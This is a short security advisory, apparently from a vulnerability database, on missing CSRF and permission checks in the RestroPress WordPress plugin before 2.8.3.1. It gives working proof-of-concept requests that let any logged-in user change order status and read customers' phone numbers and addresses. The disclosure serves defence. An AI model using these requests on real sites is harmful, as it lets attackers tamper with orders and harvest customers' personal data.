RestroPress < 2.8.3.1 – Unauthorised AJAX Calls

Description

The plugin did not check for CSRF as well as capability in some of its AJAX calls which should only be accessible by admin. As a result, any authenticated user can change arbitrary order status, as well as access arbitrary order details (including PII such as phone number and address)

Proof of Concept

Change the order status (as any authenticated user): https://example.com/wp-admin/admin-ajax.php?payment_id=854&status=accepted&action=rpress_update_order_status

Show Order Details (Response will have PII, such as phone number, address):

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Connection: close
Cookie: [any authenticated user]

action=rpress_show_order_details&order_id=854